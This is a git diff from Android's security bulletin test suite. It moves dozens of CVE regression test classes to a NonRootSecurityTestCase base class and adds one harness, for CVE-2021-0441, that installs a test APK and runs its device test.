diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 12edb1af319..524f2d60abb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -20,18 +20,19 @@ import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0381 extends SecurityTestCase {
+public class CVE_2020_0381 extends NonRootSecurityTestCase {
/**
* b/150159669
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index 72765d64f1f..5bdf01708e5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -20,18 +20,19 @@ import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0383 extends SecurityTestCase {
+public class CVE_2020_0383 extends NonRootSecurityTestCase {
/**
* b/150160279
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index 34c66ded007..000e9705f98 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -20,18 +20,19 @@ import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0384 extends SecurityTestCase {
+public class CVE_2020_0384 extends NonRootSecurityTestCase {
/**
* b/150159906
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index 0f9e7d27dae..b9ba1279d8a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -20,18 +20,19 @@ import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0385 extends SecurityTestCase {
+public class CVE_2020_0385 extends NonRootSecurityTestCase {
/**
* b/150160041
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
index bff13f3d28e..eac03390ff4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
@@ -18,12 +18,15 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0420 extends SecurityTestCase {
+public class CVE_2020_0420 extends NonRootSecurityTestCase {
/**
* b/162383705
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
index 27e202cf759..63c812854d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0448 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0448 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2020-0448.apk";
static final String TEST_PKG = "android.security.cts.CVE_2020_0448";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
index 84b45a0304c..af8308029a5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -18,13 +18,14 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0458 extends SecurityTestCase {
+public class CVE_2020_0458 extends NonRootSecurityTestCase {
/**
* b/160265164
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
index e3f6c262ad0..c9b448f598b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
@@ -18,12 +18,15 @@ package android.security.cts;
import static org.junit.Assert.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11164 extends SecurityTestCase {
+public class CVE_2020_11164 extends NonRootSecurityTestCase {
/**
* CVE-2020-11164
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
index a15335aa15c..a68d2e685c3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
@@ -1,12 +1,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11173 extends SecurityTestCase {
+public class CVE_2020_11173 extends NonRootSecurityTestCase {
/**
* CVE-2020-11173
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
index 9664abff649..c1df440ed92 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
@@ -4,12 +4,15 @@ import static org.junit.Assert.*;
import static org.junit.Assume.*;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_11282 extends SecurityTestCase {
+public class CVE_2020_11282 extends NonRootSecurityTestCase {
/**
* CVE-2020-11282
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
index a285cd37397..a5e655737b9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -16,14 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29374 extends SecurityTestCase {
+public class CVE_2020_29374 extends NonRootSecurityTestCase {
/**
* b/174737879
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
index db50504616d..c02a2eca108 100755
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -16,14 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29661 extends SecurityTestCase {
+public class CVE_2020_29661 extends NonRootSecurityTestCase {
/**
* b/182917768
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index 4b1bc22e33f..9df42ae7cf7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@ import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.After;
import org.junit.Assert;
@@ -38,7 +38,7 @@ import org.junit.runner.RunWith;
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0305 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
index 2cd9f7a28d4..c85c7325597 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0313 extends SecurityTestCase {
+public class CVE_2021_0313 extends NonRootSecurityTestCase {
/**
* b/170968514
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
index 7487d151c7f..1476e911236 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0315.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,25 +27,24 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0315 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0315 extends NonRootSecurityTestCase {
static final String TEST_PKG = "android.security.cts.CVE_2021_0315";
- ITestDevice mDevice;
@After
public void tearDown() throws Exception {
- AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", mDevice);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", getDevice());
}
@AsbSecurityTest(cveBugId = 169763814)
@Test
public void testPocCVE_2021_0315() throws Exception {
- mDevice = getDevice();
- uninstallPackage(mDevice, TEST_PKG);
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
/* Wake up the screen */
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", mDevice);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", mDevice);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", mDevice);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
installPackage("CVE-2021-0315.apk");
runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testOverlayButtonPresence");
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
index fa4b66b985b..15cdab54d96 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0330 extends SecurityTestCase {
+public class CVE_2021_0330 extends NonRootSecurityTestCase {
/**
* b/170732441
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index 585d19bfbd2..71ce363ba8b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0430 extends SecurityTestCase {
+public class CVE_2021_0430 extends NonRootSecurityTestCase {
/**
* b/178725766
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
index fb7638c2a9d..6a22748d840 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0439 extends SecurityTestCase {
+public class CVE_2021_0439 extends NonRootSecurityTestCase {
/**
* b/174243830
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
new file mode 100644
index 00000000000..57b9a86c191
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0441.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0441 extends NonRootSecurityTestCase {
+ static final String TEST_PKG = "android.security.cts.CVE_2021_0441";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ static final String TEST_APP = "CVE-2021-0441.apk";
+
+ /**
+ * b/174495520
+ */
+ @AsbSecurityTest(cveBugId = 174495520)
+ @Test
+ public void testPocCVE_2021_0441() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0441");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
index 1224dc2da2d..90e65c2e338 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0473 extends SecurityTestCase {
+public class CVE_2021_0473 extends NonRootSecurityTestCase {
/**
* b/179687208
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
index a3b1eae7c67..558b0924fbf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
@@ -18,13 +18,16 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0478 extends SecurityTestCase {
+public class CVE_2021_0478 extends NonRootSecurityTestCase {
/**
* b/169255797
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
index 4d2acacf2ff..05aa43e47c1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0484 extends SecurityTestCase {
+public class CVE_2021_0484 extends NonRootSecurityTestCase {
/**
* b/173720767
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
index 8f37185a69d..b26e0725ff4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0490 extends SecurityTestCase {
+public class CVE_2021_0490 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 183464868)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index 30af4725490..7cd63605906 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -21,7 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
@@ -29,7 +29,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0523 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0523.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 5a7ec8d1c24..f775822dfb6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@ import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0586 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index eb74b201862..92c64351de4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.RequiresDevice;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import java.util.regex.Pattern;
import org.junit.Assert;
import org.junit.Before;
@@ -33,7 +33,7 @@ import static org.junit.Assert.assertThat;
import static org.junit.Assume.assumeTrue;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0591 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
index 0562b49b756..fecab0cf3e4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0596 extends SecurityTestCase {
+public class CVE_2021_0596 extends NonRootSecurityTestCase {
/**
* b/181346550
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
index d4bbfb3972e..41455a40249 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -16,15 +16,18 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0636 extends SecurityTestCase {
+public class CVE_2021_0636 extends NonRootSecurityTestCase {
public void testPocCVE_2021_0636(String mediaFileName) throws Exception {
/*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
index 29fd2b39bf2..2e1ddda5360 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -19,7 +19,7 @@ package android.security.cts;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0642 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2021-0642.apk";
